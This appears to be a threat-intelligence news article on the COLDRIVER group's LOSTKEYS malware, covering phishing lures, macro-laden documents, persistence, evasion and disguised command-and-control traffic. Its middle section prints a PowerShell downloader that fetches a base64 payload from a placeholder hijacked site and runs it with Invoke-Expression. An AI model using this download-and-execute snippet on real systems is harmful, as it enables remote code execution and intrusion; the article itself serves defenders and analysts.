Russian-Linked COLDRIVER Group Wields New ‘LOSTKEYS’ Malware in Precision Cyber Assaults
A newly uncovered cyber espionage operation has revealed the latest weapon in Russia-aligned hacking group COLDRIVER’s arsenal: an advanced data-theft malware known as LOSTKEYS. Also tracked under aliases like Star Blizzard and Callisto, COLDRIVER has shifted gears with a focused campaign targeting critical Western entities in early 2025.
Unlike generic malware floods, LOSTKEYS is a tailored espionage tool engineered for surgical strikes against high-value targets. Defense contractors, diplomatic outposts, and essential infrastructure providers across Europe and North America have found themselves in the crosshairs.
What sets LOSTKEYS apart is its delivery mechanism: convincing phishing emails crafted with near-flawless impersonation of trusted contacts. These messages carry rigged documents exploiting zero-day flaws in widely used office suites. Once opened, the malware installs itself quietly, initiating a layered attack chain that embeds deeply within systems while flying under radar.
The campaign came to light through a joint investigation led by Google’s Threat Intelligence team, which traced irregular outbound data flows from prominent organizations. Further analysis revealed that LOSTKEYS employs heavily encrypted code, proxy-based communication routes through hijacked websites, and infrastructure built for stealth and deniability.
The consequences are serious: stolen credentials, breached communications, and intellectual property losses across multiple industries. Worse still, LOSTKEYS is designed for long-term access—many victims only discover the intrusion months after compromise.
In response, cybersecurity authorities around the globe have escalated alerts, urging heightened vigilance and proactive defense measures against this evolving and highly evasive threat.
COLDRIVER Ups Its Game: LOSTKEYS Malware Marks Tactical Leap in Espionage Toolkit
A new phase in COLDRIVER’s cyber operations has come into focus with the emergence of LOSTKEYS—a malware strain showcasing a leap in both technical complexity and operational finesse. Unlike prior campaigns, this tool reflects a refined approach to covert intelligence gathering, underscoring COLDRIVER’s adaptation to evolving cyber defense environments.
Backed by strategic targeting that closely mirrors known Russian intelligence objectives, LOSTKEYS reinforces the growing consensus around the group’s origins and mission alignment.
Deconstructing the Breach Sequence
At the heart of the campaign is a stealthy infection sequence triggered by opening malicious documents rigged with deeply obfuscated Visual Basic for Applications (VBA) macros. These files don’t just execute code—they execute trust, cloaked in everyday file formats users routinely interact with.
Once activated, the macros spin up a PowerShell process designed to retrieve and deploy the primary malware payload. The core of the downloader looks like this:
Powershell
$c = New-Object System.Net.WebClient
$c.Headers.Add(“User-Agent”,”Mozilla/5.0″)
$d = $c.DownloadString(“hxxps://compromised-site.com/images/update.txt”)
$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($d))
Invoke-Expression $decoded
This script fetches a base64-encoded payload from a hijacked domain disguised as a benign resource, decodes it, and executes the resulting commands—all while bypassing traditional detection mechanisms.
Not Just Another Malware Dropper
LOSTKEYS isn’t just another entry in the long list of state-linked implants. It’s a reflection of COLDRIVER’s growing maturity as a threat actor—demonstrating an ability to craft highly targeted, context-aware phishing lures, and deploy modular malware that stays dormant or adaptive depending on host conditions.
For incident responders and threat hunters, LOSTKEYS represents a wake-up call: the era of crude phishing attachments is giving way to highly orchestrated breaches where every phase—from document construction to payload execution—is engineered with surgical precision.
Payload in Motion: How LOSTKEYS Embeds, Evades, and Evolves Inside Compromised Systems
Once delivered, the LOSTKEYS malware doesn’t just execute—it entangles itself within the host environment with precision. Rather than relying on brute-force persistence techniques, it opts for a stealth blend: subtle registry changes coupled with quietly planted scheduled tasks ensure it survives reboots and resists removal.
From there, LOSTKEYS gets strategic. Before making any major moves, it runs reconnaissance—scanning the digital terrain for installed security products or analysis tools. If it spots anything that could compromise the operation, it shifts gears, adapting its behavior to stay under the radar.
Command-and-control communication is handled with care. LOSTKEYS doesn’t shout across the network—it whispers. Its traffic mimics everyday HTTPS activity, encrypted and cloaked to blend seamlessly with normal web traffic, rendering conventional network monitoring almost useless.
What truly sets this malware apart is its adaptability. LOSTKEYS operates like a framework, not a single tool. Its modular build lets threat actors bolt on extra components mid-operation, customizing each intrusion based on the target’s environment, defenses, or data value.
